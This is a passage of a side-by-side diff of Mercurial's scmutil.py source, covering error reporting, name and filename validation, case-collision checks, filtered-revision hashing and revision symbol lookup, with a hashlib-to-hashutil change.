242 util.safehasattr(inst, b"args")
242 util.safehasattr(inst, b"args")
243 and inst.args
243 and inst.args
244 and inst.args[0] == errno.EPIPE
244 and inst.args[0] == errno.EPIPE
245 ):
245 ):
246 pass
246 pass
247 elif getattr(inst, "strerror", None): # common IOError or OSError
247 elif getattr(inst, "strerror", None): # common IOError or OSError
248 if getattr(inst, "filename", None) is not None:
248 if getattr(inst, "filename", None) is not None:
249 ui.error(
249 ui.error(
250 _(b"abort: %s: '%s'\n")
250 _(b"abort: %s: '%s'\n")
251 % (
251 % (
252 encoding.strtolocal(inst.strerror),
252 encoding.strtolocal(inst.strerror),
253 stringutil.forcebytestr(inst.filename),
253 stringutil.forcebytestr(inst.filename),
254 )
254 )
255 )
255 )
256 else:
256 else:
257 ui.error(_(b"abort: %s\n") % encoding.strtolocal(inst.strerror))
257 ui.error(_(b"abort: %s\n") % encoding.strtolocal(inst.strerror))
258 else: # suspicious IOError
258 else: # suspicious IOError
259 raise
259 raise
260 except MemoryError:
260 except MemoryError:
261 ui.error(_(b"abort: out of memory\n"))
261 ui.error(_(b"abort: out of memory\n"))
262 except SystemExit as inst:
262 except SystemExit as inst:
263 # Commands shouldn't sys.exit directly, but give a return code.
263 # Commands shouldn't sys.exit directly, but give a return code.
264 # Just in case catch this and and pass exit code to caller.
264 # Just in case catch this and and pass exit code to caller.
265 return inst.code
265 return inst.code
266
266
267 return -1
267 return -1
268
268
269
269
270 def checknewlabel(repo, lbl, kind):
270 def checknewlabel(repo, lbl, kind):
271 # Do not use the "kind" parameter in ui output.
271 # Do not use the "kind" parameter in ui output.
272 # It makes strings difficult to translate.
272 # It makes strings difficult to translate.
273 if lbl in [b'tip', b'.', b'null']:
273 if lbl in [b'tip', b'.', b'null']:
274 raise error.Abort(_(b"the name '%s' is reserved") % lbl)
274 raise error.Abort(_(b"the name '%s' is reserved") % lbl)
275 for c in (b':', b'\0', b'\n', b'\r'):
275 for c in (b':', b'\0', b'\n', b'\r'):
276 if c in lbl:
276 if c in lbl:
277 raise error.Abort(
277 raise error.Abort(
278 _(b"%r cannot be used in a name") % pycompat.bytestr(c)
278 _(b"%r cannot be used in a name") % pycompat.bytestr(c)
279 )
279 )
280 try:
280 try:
281 int(lbl)
281 int(lbl)
282 raise error.Abort(_(b"cannot use an integer as a name"))
282 raise error.Abort(_(b"cannot use an integer as a name"))
283 except ValueError:
283 except ValueError:
284 pass
284 pass
285 if lbl.strip() != lbl:
285 if lbl.strip() != lbl:
286 raise error.Abort(_(b"leading or trailing whitespace in name %r") % lbl)
286 raise error.Abort(_(b"leading or trailing whitespace in name %r") % lbl)
287
287
288
288
289 def checkfilename(f):
289 def checkfilename(f):
290 '''Check that the filename f is an acceptable filename for a tracked file'''
290 '''Check that the filename f is an acceptable filename for a tracked file'''
291 if b'\r' in f or b'\n' in f:
291 if b'\r' in f or b'\n' in f:
292 raise error.Abort(
292 raise error.Abort(
293 _(b"'\\n' and '\\r' disallowed in filenames: %r")
293 _(b"'\\n' and '\\r' disallowed in filenames: %r")
294 % pycompat.bytestr(f)
294 % pycompat.bytestr(f)
295 )
295 )
296
296
297
297
298 def checkportable(ui, f):
298 def checkportable(ui, f):
299 '''Check if filename f is portable and warn or abort depending on config'''
299 '''Check if filename f is portable and warn or abort depending on config'''
300 checkfilename(f)
300 checkfilename(f)
301 abort, warn = checkportabilityalert(ui)
301 abort, warn = checkportabilityalert(ui)
302 if abort or warn:
302 if abort or warn:
303 msg = util.checkwinfilename(f)
303 msg = util.checkwinfilename(f)
304 if msg:
304 if msg:
305 msg = b"%s: %s" % (msg, procutil.shellquote(f))
305 msg = b"%s: %s" % (msg, procutil.shellquote(f))
306 if abort:
306 if abort:
307 raise error.Abort(msg)
307 raise error.Abort(msg)
308 ui.warn(_(b"warning: %s\n") % msg)
308 ui.warn(_(b"warning: %s\n") % msg)
309
309
310
310
311 def checkportabilityalert(ui):
311 def checkportabilityalert(ui):
312 '''check if the user's config requests nothing, a warning, or abort for
312 '''check if the user's config requests nothing, a warning, or abort for
313 non-portable filenames'''
313 non-portable filenames'''
314 val = ui.config(b'ui', b'portablefilenames')
314 val = ui.config(b'ui', b'portablefilenames')
315 lval = val.lower()
315 lval = val.lower()
316 bval = stringutil.parsebool(val)
316 bval = stringutil.parsebool(val)
317 abort = pycompat.iswindows or lval == b'abort'
317 abort = pycompat.iswindows or lval == b'abort'
318 warn = bval or lval == b'warn'
318 warn = bval or lval == b'warn'
319 if bval is None and not (warn or abort or lval == b'ignore'):
319 if bval is None and not (warn or abort or lval == b'ignore'):
320 raise error.ConfigError(
320 raise error.ConfigError(
321 _(b"ui.portablefilenames value is invalid ('%s')") % val
321 _(b"ui.portablefilenames value is invalid ('%s')") % val
322 )
322 )
323 return abort, warn
323 return abort, warn
324
324
325
325
326 class casecollisionauditor(object):
326 class casecollisionauditor(object):
327 def __init__(self, ui, abort, dirstate):
327 def __init__(self, ui, abort, dirstate):
328 self._ui = ui
328 self._ui = ui
329 self._abort = abort
329 self._abort = abort
330 allfiles = b'\0'.join(dirstate)
330 allfiles = b'\0'.join(dirstate)
331 self._loweredfiles = set(encoding.lower(allfiles).split(b'\0'))
331 self._loweredfiles = set(encoding.lower(allfiles).split(b'\0'))
332 self._dirstate = dirstate
332 self._dirstate = dirstate
333 # The purpose of _newfiles is so that we don't complain about
333 # The purpose of _newfiles is so that we don't complain about
334 # case collisions if someone were to call this object with the
334 # case collisions if someone were to call this object with the
335 # same filename twice.
335 # same filename twice.
336 self._newfiles = set()
336 self._newfiles = set()
337
337
338 def __call__(self, f):
338 def __call__(self, f):
339 if f in self._newfiles:
339 if f in self._newfiles:
340 return
340 return
341 fl = encoding.lower(f)
341 fl = encoding.lower(f)
342 if fl in self._loweredfiles and f not in self._dirstate:
342 if fl in self._loweredfiles and f not in self._dirstate:
343 msg = _(b'possible case-folding collision for %s') % f
343 msg = _(b'possible case-folding collision for %s') % f
344 if self._abort:
344 if self._abort:
345 raise error.Abort(msg)
345 raise error.Abort(msg)
346 self._ui.warn(_(b"warning: %s\n") % msg)
346 self._ui.warn(_(b"warning: %s\n") % msg)
347 self._loweredfiles.add(fl)
347 self._loweredfiles.add(fl)
348 self._newfiles.add(f)
348 self._newfiles.add(f)
349
349
350
350
351 def filteredhash(repo, maxrev):
351 def filteredhash(repo, maxrev):
352 """build hash of filtered revisions in the current repoview.
352 """build hash of filtered revisions in the current repoview.
353
353
354 Multiple caches perform up-to-date validation by checking that the
354 Multiple caches perform up-to-date validation by checking that the
355 tiprev and tipnode stored in the cache file match the current repository.
355 tiprev and tipnode stored in the cache file match the current repository.
356 However, this is not sufficient for validating repoviews because the set
356 However, this is not sufficient for validating repoviews because the set
357 of revisions in the view may change without the repository tiprev and
357 of revisions in the view may change without the repository tiprev and
358 tipnode changing.
358 tipnode changing.
359
359
360 This function hashes all the revs filtered from the view and returns
360 This function hashes all the revs filtered from the view and returns
361 that SHA-1 digest.
361 that SHA-1 digest.
362 """
362 """
363 cl = repo.changelog
363 cl = repo.changelog
364 if not cl.filteredrevs:
364 if not cl.filteredrevs:
365 return None
365 return None
366 key = None
366 key = None
367 revs = sorted(r for r in cl.filteredrevs if r <= maxrev)
367 revs = sorted(r for r in cl.filteredrevs if r <= maxrev)
368 if revs:
368 if revs:
369 s = hashlib.sha1()
369 s = hashutil.sha1()
370 for rev in revs:
370 for rev in revs:
371 s.update(b'%d;' % rev)
371 s.update(b'%d;' % rev)
372 key = s.digest()
372 key = s.digest()
373 return key
373 return key
374
374
375
375
376 def walkrepos(path, followsym=False, seen_dirs=None, recurse=False):
376 def walkrepos(path, followsym=False, seen_dirs=None, recurse=False):
377 '''yield every hg repository under path, always recursively.
377 '''yield every hg repository under path, always recursively.
378 The recurse flag will only control recursion into repo working dirs'''
378 The recurse flag will only control recursion into repo working dirs'''
379
379
380 def errhandler(err):
380 def errhandler(err):
381 if err.filename == path:
381 if err.filename == path:
382 raise err
382 raise err
383
383
384 samestat = getattr(os.path, 'samestat', None)
384 samestat = getattr(os.path, 'samestat', None)
385 if followsym and samestat is not None:
385 if followsym and samestat is not None:
386
386
387 def adddir(dirlst, dirname):
387 def adddir(dirlst, dirname):
388 dirstat = os.stat(dirname)
388 dirstat = os.stat(dirname)
389 match = any(samestat(dirstat, lstdirstat) for lstdirstat in dirlst)
389 match = any(samestat(dirstat, lstdirstat) for lstdirstat in dirlst)
390 if not match:
390 if not match:
391 dirlst.append(dirstat)
391 dirlst.append(dirstat)
392 return not match
392 return not match
393
393
394 else:
394 else:
395 followsym = False
395 followsym = False
396
396
397 if (seen_dirs is None) and followsym:
397 if (seen_dirs is None) and followsym:
398 seen_dirs = []
398 seen_dirs = []
399 adddir(seen_dirs, path)
399 adddir(seen_dirs, path)
400 for root, dirs, files in os.walk(path, topdown=True, onerror=errhandler):
400 for root, dirs, files in os.walk(path, topdown=True, onerror=errhandler):
401 dirs.sort()
401 dirs.sort()
402 if b'.hg' in dirs:
402 if b'.hg' in dirs:
403 yield root # found a repository
403 yield root # found a repository
404 qroot = os.path.join(root, b'.hg', b'patches')
404 qroot = os.path.join(root, b'.hg', b'patches')
405 if os.path.isdir(os.path.join(qroot, b'.hg')):
405 if os.path.isdir(os.path.join(qroot, b'.hg')):
406 yield qroot # we have a patch queue repo here
406 yield qroot # we have a patch queue repo here
407 if recurse:
407 if recurse:
408 # avoid recursing inside the .hg directory
408 # avoid recursing inside the .hg directory
409 dirs.remove(b'.hg')
409 dirs.remove(b'.hg')
410 else:
410 else:
411 dirs[:] = [] # don't descend further
411 dirs[:] = [] # don't descend further
412 elif followsym:
412 elif followsym:
413 newdirs = []
413 newdirs = []
414 for d in dirs:
414 for d in dirs:
415 fname = os.path.join(root, d)
415 fname = os.path.join(root, d)
416 if adddir(seen_dirs, fname):
416 if adddir(seen_dirs, fname):
417 if os.path.islink(fname):
417 if os.path.islink(fname):
418 for hgname in walkrepos(fname, True, seen_dirs):
418 for hgname in walkrepos(fname, True, seen_dirs):
419 yield hgname
419 yield hgname
420 else:
420 else:
421 newdirs.append(d)
421 newdirs.append(d)
422 dirs[:] = newdirs
422 dirs[:] = newdirs
423
423
424
424
425 def binnode(ctx):
425 def binnode(ctx):
426 """Return binary node id for a given basectx"""
426 """Return binary node id for a given basectx"""
427 node = ctx.node()
427 node = ctx.node()
428 if node is None:
428 if node is None:
429 return wdirid
429 return wdirid
430 return node
430 return node
431
431
432
432
433 def intrev(ctx):
433 def intrev(ctx):
434 """Return integer for a given basectx that can be used in comparison or
434 """Return integer for a given basectx that can be used in comparison or
435 arithmetic operation"""
435 arithmetic operation"""
436 rev = ctx.rev()
436 rev = ctx.rev()
437 if rev is None:
437 if rev is None:
438 return wdirrev
438 return wdirrev
439 return rev
439 return rev
440
440
441
441
442 def formatchangeid(ctx):
442 def formatchangeid(ctx):
443 """Format changectx as '{rev}:{node|formatnode}', which is the default
443 """Format changectx as '{rev}:{node|formatnode}', which is the default
444 template provided by logcmdutil.changesettemplater"""
444 template provided by logcmdutil.changesettemplater"""
445 repo = ctx.repo()
445 repo = ctx.repo()
446 return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
446 return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
447
447
448
448
449 def formatrevnode(ui, rev, node):
449 def formatrevnode(ui, rev, node):
450 """Format given revision and node depending on the current verbosity"""
450 """Format given revision and node depending on the current verbosity"""
451 if ui.debugflag:
451 if ui.debugflag:
452 hexfunc = hex
452 hexfunc = hex
453 else:
453 else:
454 hexfunc = short
454 hexfunc = short
455 return b'%d:%s' % (rev, hexfunc(node))
455 return b'%d:%s' % (rev, hexfunc(node))
456
456
457
457
458 def resolvehexnodeidprefix(repo, prefix):
458 def resolvehexnodeidprefix(repo, prefix):
459 if prefix.startswith(b'x') and repo.ui.configbool(
459 if prefix.startswith(b'x') and repo.ui.configbool(
460 b'experimental', b'revisions.prefixhexnode'
460 b'experimental', b'revisions.prefixhexnode'
461 ):
461 ):
462 prefix = prefix[1:]
462 prefix = prefix[1:]
463 try:
463 try:
464 # Uses unfiltered repo because it's faster when prefix is ambiguous/
464 # Uses unfiltered repo because it's faster when prefix is ambiguous/
465 # This matches the shortesthexnodeidprefix() function below.
465 # This matches the shortesthexnodeidprefix() function below.
466 node = repo.unfiltered().changelog._partialmatch(prefix)
466 node = repo.unfiltered().changelog._partialmatch(prefix)
467 except error.AmbiguousPrefixLookupError:
467 except error.AmbiguousPrefixLookupError:
468 revset = repo.ui.config(
468 revset = repo.ui.config(
469 b'experimental', b'revisions.disambiguatewithin'
469 b'experimental', b'revisions.disambiguatewithin'
470 )
470 )
471 if revset:
471 if revset:
472 # Clear config to avoid infinite recursion
472 # Clear config to avoid infinite recursion
473 configoverrides = {
473 configoverrides = {
474 (b'experimental', b'revisions.disambiguatewithin'): None
474 (b'experimental', b'revisions.disambiguatewithin'): None
475 }
475 }
476 with repo.ui.configoverride(configoverrides):
476 with repo.ui.configoverride(configoverrides):
477 revs = repo.anyrevs([revset], user=True)
477 revs = repo.anyrevs([revset], user=True)
478 matches = []
478 matches = []
479 for rev in revs:
479 for rev in revs:
480 node = repo.changelog.node(rev)
480 node = repo.changelog.node(rev)
481 if hex(node).startswith(prefix):
481 if hex(node).startswith(prefix):
482 matches.append(node)
482 matches.append(node)
483 if len(matches) == 1:
483 if len(matches) == 1:
484 return matches[0]
484 return matches[0]
485 raise
485 raise
486 if node is None:
486 if node is None:
487 return
487 return
488 repo.changelog.rev(node) # make sure node isn't filtered
488 repo.changelog.rev(node) # make sure node isn't filtered
489 return node
489 return node
490
490
491
491
492 def mayberevnum(repo, prefix):
492 def mayberevnum(repo, prefix):
493 """Checks if the given prefix may be mistaken for a revision number"""
493 """Checks if the given prefix may be mistaken for a revision number"""
494 try:
494 try:
495 i = int(prefix)
495 i = int(prefix)
496 # if we are a pure int, then starting with zero will not be
496 # if we are a pure int, then starting with zero will not be
497 # confused as a rev; or, obviously, if the int is larger
497 # confused as a rev; or, obviously, if the int is larger
498 # than the value of the tip rev. We still need to disambiguate if
498 # than the value of the tip rev. We still need to disambiguate if
499 # prefix == '0', since that *is* a valid revnum.
499 # prefix == '0', since that *is* a valid revnum.
500 if (prefix != b'0' and prefix[0:1] == b'0') or i >= len(repo):
500 if (prefix != b'0' and prefix[0:1] == b'0') or i >= len(repo):
501 return False
501 return False
502 return True
502 return True
503 except ValueError:
503 except ValueError:
504 return False
504 return False
505
505
506
506
507 def shortesthexnodeidprefix(repo, node, minlength=1, cache=None):
507 def shortesthexnodeidprefix(repo, node, minlength=1, cache=None):
508 """Find the shortest unambiguous prefix that matches hexnode.
508 """Find the shortest unambiguous prefix that matches hexnode.
509
509
510 If "cache" is not None, it must be a dictionary that can be used for
510 If "cache" is not None, it must be a dictionary that can be used for
511 caching between calls to this method.
511 caching between calls to this method.
512 """
512 """
513 # _partialmatch() of filtered changelog could take O(len(repo)) time,
513 # _partialmatch() of filtered changelog could take O(len(repo)) time,
514 # which would be unacceptably slow. so we look for hash collision in
514 # which would be unacceptably slow. so we look for hash collision in
515 # unfiltered space, which means some hashes may be slightly longer.
515 # unfiltered space, which means some hashes may be slightly longer.
516
516
517 minlength = max(minlength, 1)
517 minlength = max(minlength, 1)
518
518
519 def disambiguate(prefix):
519 def disambiguate(prefix):
520 """Disambiguate against revnums."""
520 """Disambiguate against revnums."""
521 if repo.ui.configbool(b'experimental', b'revisions.prefixhexnode'):
521 if repo.ui.configbool(b'experimental', b'revisions.prefixhexnode'):
522 if mayberevnum(repo, prefix):
522 if mayberevnum(repo, prefix):
523 return b'x' + prefix
523 return b'x' + prefix
524 else:
524 else:
525 return prefix
525 return prefix
526
526
527 hexnode = hex(node)
527 hexnode = hex(node)
528 for length in range(len(prefix), len(hexnode) + 1):
528 for length in range(len(prefix), len(hexnode) + 1):
529 prefix = hexnode[:length]
529 prefix = hexnode[:length]
530 if not mayberevnum(repo, prefix):
530 if not mayberevnum(repo, prefix):
531 return prefix
531 return prefix
532
532
533 cl = repo.unfiltered().changelog
533 cl = repo.unfiltered().changelog
534 revset = repo.ui.config(b'experimental', b'revisions.disambiguatewithin')
534 revset = repo.ui.config(b'experimental', b'revisions.disambiguatewithin')
535 if revset:
535 if revset:
536 revs = None
536 revs = None
537 if cache is not None:
537 if cache is not None:
538 revs = cache.get(b'disambiguationrevset')
538 revs = cache.get(b'disambiguationrevset')
539 if revs is None:
539 if revs is None:
540 revs = repo.anyrevs([revset], user=True)
540 revs = repo.anyrevs([revset], user=True)
541 if cache is not None:
541 if cache is not None:
542 cache[b'disambiguationrevset'] = revs
542 cache[b'disambiguationrevset'] = revs
543 if cl.rev(node) in revs:
543 if cl.rev(node) in revs:
544 hexnode = hex(node)
544 hexnode = hex(node)
545 nodetree = None
545 nodetree = None
546 if cache is not None:
546 if cache is not None:
547 nodetree = cache.get(b'disambiguationnodetree')
547 nodetree = cache.get(b'disambiguationnodetree')
548 if not nodetree:
548 if not nodetree:
549 if util.safehasattr(parsers, 'nodetree'):
549 if util.safehasattr(parsers, 'nodetree'):
550 # The CExt is the only implementation to provide a nodetree
550 # The CExt is the only implementation to provide a nodetree
551 # class so far.
551 # class so far.
552 index = cl.index
552 index = cl.index
553 if util.safehasattr(index, 'get_cindex'):
553 if util.safehasattr(index, 'get_cindex'):
554 # the rust wrapped need to give access to its internal index
554 # the rust wrapped need to give access to its internal index
555 index = index.get_cindex()
555 index = index.get_cindex()
556 nodetree = parsers.nodetree(index, len(revs))
556 nodetree = parsers.nodetree(index, len(revs))
557 for r in revs:
557 for r in revs:
558 nodetree.insert(r)
558 nodetree.insert(r)
559 if cache is not None:
559 if cache is not None:
560 cache[b'disambiguationnodetree'] = nodetree
560 cache[b'disambiguationnodetree'] = nodetree
561 if nodetree is not None:
561 if nodetree is not None:
562 length = max(nodetree.shortest(node), minlength)
562 length = max(nodetree.shortest(node), minlength)
563 prefix = hexnode[:length]
563 prefix = hexnode[:length]
564 return disambiguate(prefix)
564 return disambiguate(prefix)
565 for length in range(minlength, len(hexnode) + 1):
565 for length in range(minlength, len(hexnode) + 1):
566 matches = []
566 matches = []
567 prefix = hexnode[:length]
567 prefix = hexnode[:length]
568 for rev in revs:
568 for rev in revs:
569 otherhexnode = repo[rev].hex()
569 otherhexnode = repo[rev].hex()
570 if prefix == otherhexnode[:length]:
570 if prefix == otherhexnode[:length]:
571 matches.append(otherhexnode)
571 matches.append(otherhexnode)
572 if len(matches) == 1:
572 if len(matches) == 1:
573 return disambiguate(prefix)
573 return disambiguate(prefix)
574
574
575 try:
575 try:
576 return disambiguate(cl.shortest(node, minlength))
576 return disambiguate(cl.shortest(node, minlength))
577 except error.LookupError:
577 except error.LookupError:
578 raise error.RepoLookupError()
578 raise error.RepoLookupError()
579
579
580
580
581 def isrevsymbol(repo, symbol):
581 def isrevsymbol(repo, symbol):
582 """Checks if a symbol exists in the repo.
582 """Checks if a symbol exists in the repo.
583
583
584 See revsymbol() for details. Raises error.AmbiguousPrefixLookupError if the
584 See revsymbol() for details. Raises error.AmbiguousPrefixLookupError if the
585 symbol is an ambiguous nodeid prefix.
585 symbol is an ambiguous nodeid prefix.
586 """
586 """
587 try:
587 try:
588 revsymbol(repo, symbol)
588 revsymbol(repo, symbol)
589 return True
589 return True
590 except error.RepoLookupError:
590 except error.RepoLookupError:
591 return False
591 return False
592
592
593
593
594 def revsymbol(repo, symbol):
594 def revsymbol(repo, symbol):
595 """Returns a context given a single revision symbol (as string).
595 """Returns a context given a single revision symbol (as string).
596
596
597 This is similar to revsingle(), but accepts only a single revision symbol,
597 This is similar to revsingle(), but accepts only a single revision symbol,
598 i.e. things like ".", "tip", "1234", "deadbeef", "my-bookmark" work, but
598 i.e. things like ".", "tip", "1234", "deadbeef", "my-bookmark" work, but
599 not "max(public())".
599 not "max(public())".
600 """
600 """
601 if not isinstance(symbol, bytes):
601 if not isinstance(symbol, bytes):
602 msg = (
602 msg = (
603 b"symbol (%s of type %s) was not a string, did you mean "
603 b"symbol (%s of type %s) was not a string, did you mean "
604 b"repo[symbol]?" % (symbol, type(symbol))
604 b"repo[symbol]?" % (symbol, type(symbol))
605 )
605 )
606 raise error.ProgrammingError(msg)
606 raise error.ProgrammingError(msg)
607 try:
607 try:
608 if symbol in (b'.', b'tip', b'null'):
608 if symbol in (b'.', b'tip', b'null'):
609 return repo[symbol]
609 return repo[symbol]
610
610
611 try:
611 try:
612 r = int(symbol)
612 r = int(symbol)
613 if b'%d' % r != symbol:
613 if b'%d' % r != symbol:
614 raise ValueError
614 raise ValueError
615 l = len(repo.changelog)
615 l = len(repo.changelog)
616 if r < 0:
616 if r < 0:
617 r += l
617 r += l
618 if r < 0 or r >= l and r != wdirrev:
618 if r < 0 or r >= l and r != wdirrev:
619 raise ValueError
619 raise ValueError
620 return repo[r]
620 return repo[r]
621 except error.FilteredIndexError:
621 except error.FilteredIndexError:
622 raise
622 raise
623 except (ValueError, OverflowError, IndexError):
623 except (ValueError, OverflowError, IndexError):
624 pass
624 pass
625
625
626 if len(symbol) == 40:
626 if len(symbol) == 40:
627 try:
627 try:
628 node = bin(symbol)
628 node = bin(symbol)
629 rev = repo.changelog.rev(node)
629 rev = repo.changelog.rev(node)
630 return repo[rev]
630 return repo[rev]
631 except error.FilteredLookupError:
631 except error.FilteredLookupError:
632 raise
632 raise
633 except (TypeError, LookupError):
633 except (TypeError, LookupError):
634 pass
634 pass
635
635
636 # look up bookmarks through the name interface
636 # look up bookmarks through the name interface
637 try:
637 try:
638 node = repo.names.singlenode(repo, symbol)
638 node = repo.names.singlenode(repo, symbol)
639 rev = repo.changelog.rev(node)
639 rev = repo.changelog.rev(node)
640 return repo[rev]
640 return repo[rev]
641 except KeyError:
641 except KeyError:
642 pass
642 pass
643
643
644 node = resolvehexnodeidprefix(repo, symbol)
644 node = resolvehexnodeidprefix(repo, symbol)
645 if node is not None:
645 if node is not None:
646 rev = repo.changelog.rev(node)
646 rev = repo.changelog.rev(node)
647 return repo[rev]
647 return repo[rev]
648
648
649 raise error.RepoLookupError(_(b"unknown revision '%s'") % symbol)
649 raise error.RepoLookupError(_(b"unknown revision '%s'") % symbol)
650
650
651 except error.WdirUnsupported:
651 except error.WdirUnsupported:
652 return repo[None]
652 return repo[None]
653 except (
653 except (
654 error.FilteredIndexError,
654 error.FilteredIndexError,
655 error.FilteredLookupError,
655 error.FilteredLookupError,
656 error.FilteredRepoLookupError,
656 error.FilteredRepoLookupError,
657 ):
657 ):
658 raise _filterederror(repo, symbol)
658 raise _filterederror(repo, symbol)
659
659
660
660
661 def _filterederror(repo, changeid):
661 def _filterederror(repo, changeid):
662 """build an exception to be raised about a filtered changeid
662 """build an exception to be raised about a filtered changeid
663
663
664 This is extracted in a function to help extensions (eg: evolve) to
664 This is extracted in a function to help extensions (eg: evolve) to
665 experiment with various message variants."""
665 experiment with various message variants."""
666 if repo.filtername.startswith(b'visible'):
666 if repo.filtername.startswith(b'visible'):
667
667
668 # Check if the changeset is obsolete
668 # Check if the changeset is obsolete
669 unfilteredrepo = repo.unfiltered()
669 unfilteredrepo = repo.unfiltered()
670 ctx = revsymbol(unfilteredrepo, changeid)
670 ctx = revsymbol(unfilteredrepo, changeid)
671
671
672 # If the changeset is obsolete, enrich the message with the reason
672 # If the changeset is obsolete, enrich the message with the reason
673 # that made this changeset not visible
673 # that made this changeset not visible
674 if ctx.obsolete():
674 if ctx.obsolete():
675 msg = obsutil._getfilteredreason(repo, changeid, ctx)
675 msg = obsutil._getfilteredreason(repo, changeid, ctx)
676 else:
676 else:
677 msg = _(b"hidden revision '%s'") % changeid
677 msg = _(b"hidden revision '%s'") % changeid
678
678
679 hint = _(b'use --hidden to access hidden revisions')
679 hint = _(b'use --hidden to access hidden revisions')
680
680
681 return error.FilteredRepoLookupError(msg, hint=hint)
681 return error.FilteredRepoLookupError(msg, hint=hint)
682 msg = _(b"filtered revision '%s' (not in '%s' subset)")
682 msg = _(b"filtered revision '%s' (not in '%s' subset)")
683 msg %= (changeid, repo.filtername)
683 msg %= (changeid, repo.filtername)
684 return error.FilteredRepoLookupError(msg)
684 return error.FilteredRepoLookupError(msg)
685
685
686
686
687 def revsingle(repo, revspec, default=b'.', localalias=None):
687 def revsingle(repo, revspec, default=b'.', localalias=None):
688 if not revspec and revspec != 0:
688 if not revspec and revspec != 0:
689 return repo[default]
689 return repo[default]
690
690
691 l = revrange(repo, [revspec], localalias=localalias)
691 l = revrange(repo, [revspec], localalias=localalias)
692 if not l:
692 if not l:
693 raise error.Abort(_(b'empty revision set'))
693 raise error.Abort(_(b'empty revision set'))
694 return repo[l.last()]
694 return repo[l.last()]
695
695
696
696
697 def _pairspec(revspec):
697 def _pairspec(revspec):
698 tree = revsetlang.parse(revspec)
698 tree = revsetlang.parse(revspec)
699 return tree and tree[0] in (
699 return tree and tree[0] in (
700 b'range',
700 b'range',
701 b'rangepre',
701 b'rangepre',
702 b'rangepost',
702 b'rangepost',
703 b'rangeall',
703 b'rangeall',
704 )
704 )
705
705
706
706
707 def revpair(repo, revs):
707 def revpair(repo, revs):
708 if not revs:
708 if not revs:
709 return repo[b'.'], repo[None]
709 return repo[b'.'], repo[None]
710
710
711 l = revrange(repo, revs)
711 l = revrange(repo, revs)
712
712
713 if not l:
713 if not l:
714 raise error.Abort(_(b'empty revision range'))
714 raise error.Abort(_(b'empty revision range'))
715
715
716 first = l.first()
716 first = l.first()
717 second = l.last()
717 second = l.last()
718
718
719 if (
719 if (
720 first == second
720 first == second
721 and len(revs) >= 2
721 and len(revs) >= 2
722 and not all(revrange(repo, [r]) for r in revs)
722 and not all(revrange(repo, [r]) for r in revs)
723 ):
723 ):
724 raise error.Abort(_(b'empty revision on one side of range'))
724 raise error.Abort(_(b'empty revision on one side of range'))
725
725
726 # if top-level is range expression, the result must always be a pair
726 # if top-level is range expression, the result must always be a pair
727 if first == second and len(revs) == 1 and not _pairspec(revs[0]):
727 if first == second and len(revs) == 1 and not _pairspec(revs[0]):
728 return repo[first], repo[None]
728 return repo[first], repo[None]
729
729
730 return repo[first], repo[second]
730 return repo[first], repo[second]
731
731
732
732
733 def revrange(repo, specs, localalias=None):
733 def revrange(repo, specs, localalias=None):
734 """Execute 1 to many revsets and return the union.
734 """Execute 1 to many revsets and return the union.
735
735
736 This is the preferred mechanism for executing revsets using user-specified
736 This is the preferred mechanism for executing revsets using user-specified
737 config options, such as revset aliases.
737 config options, such as revset aliases.
738
738
739 The revsets specified by ``specs`` will be executed via a chained ``OR``
739 The revsets specified by ``specs`` will be executed via a chained ``OR``
740 expression. If ``specs`` is empty, an empty result is returned.
740 expression. If ``specs`` is empty, an empty result is returned.
741
741
742 ``specs`` can contain integers, in which case they are assumed to be
742 ``specs`` can contain integers, in which case they are assumed to be
743 revision numbers.
743 revision numbers.
744
744
745 It is assumed the revsets are already formatted. If you have arguments
745 It is assumed the revsets are already formatted. If you have arguments
746 that need to be expanded in the revset, call ``revsetlang.formatspec()``
746 that need to be expanded in the revset, call ``revsetlang.formatspec()``
747 and pass the result as an element of ``specs``.
747 and pass the result as an element of ``specs``.
748
748
749 Specifying a single revset is allowed.
749 Specifying a single revset is allowed.
750
750
751 Returns a ``revset.abstractsmartset`` which is a list-like interface over
751 Returns a ``revset.abstractsmartset`` which is a list-like interface over
752 integer revisions.
752 integer revisions.
753 """
753 """
754 allspecs = []
754 allspecs = []
755 for spec in specs:
755 for spec in specs:
756 if isinstance(spec, int):
756 if isinstance(spec, int):
757 spec = revsetlang.formatspec(b'%d', spec)
757 spec = revsetlang.formatspec(b'%d', spec)
758 allspecs.append(spec)
758 allspecs.append(spec)
759 return repo.anyrevs(allspecs, user=True, localalias=localalias)
759 return repo.anyrevs(allspecs, user=True, localalias=localalias)
760
760
761
761
762 def meaningfulparents(repo, ctx):
762 def meaningfulparents(repo, ctx):
763 """Return list of meaningful (or all if debug) parentrevs for rev.
763 """Return list of meaningful (or all if debug) parentrevs for rev.
764
764
765 For merges (two non-nullrev revisions) both parents are meaningful.
765 For merges (two non-nullrev revisions) both parents are meaningful.
766 Otherwise the first parent revision is considered meaningful if it
766 Otherwise the first parent revision is considered meaningful if it
767 is not the preceding revision.
767 is not the preceding revision.
768 """
768 """
769 parents = ctx.parents()
769 parents = ctx.parents()
770 if len(parents) > 1:
770 if len(parents) > 1:
771 return parents
771 return parents
772 if repo.ui.debugflag:
772 if repo.ui.debugflag:
773 return [parents[0], repo[nullrev]]
773 return [parents[0], repo[nullrev]]
774 if parents[0].rev() >= intrev(ctx) - 1:
774 if parents[0].rev() >= intrev(ctx) - 1:
775 return []
775 return []
776 return parents
776 return parents
777
777
778
778
779 def getuipathfn(repo, legacyrelativevalue=False, forcerelativevalue=None):
779 def getuipathfn(repo, legacyrelativevalue=False, forcerelativevalue=None):
780 """Return a function that produced paths for presenting to the user.
780 """Return a function that produced paths for presenting to the user.
781
781
782 The returned function takes a repo-relative path and produces a path
782 The returned function takes a repo-relative path and produces a path
783 that can be presented in the UI.
783 that can be presented in the UI.
784
784
785 Depending on the value of ui.relative-paths, either a repo-relative or
785 Depending on the value of ui.relative-paths, either a repo-relative or
786 cwd-relative path will be produced.
786 cwd-relative path will be produced.
787
787
788 legacyrelativevalue is the value to use if ui.relative-paths=legacy
788 legacyrelativevalue is the value to use if ui.relative-paths=legacy
789
789
790 If forcerelativevalue is not None, then that value will be used regardless
790 If forcerelativevalue is not None, then that value will be used regardless
791 of what ui.relative-paths is set to.
791 of what ui.relative-paths is set to.
792 """
792 """
793 if forcerelativevalue is not None:
793 if forcerelativevalue is not None:
794 relative = forcerelativevalue
794 relative = forcerelativevalue
795 else:
795 else:
796 config = repo.ui.config(b'ui', b'relative-paths')
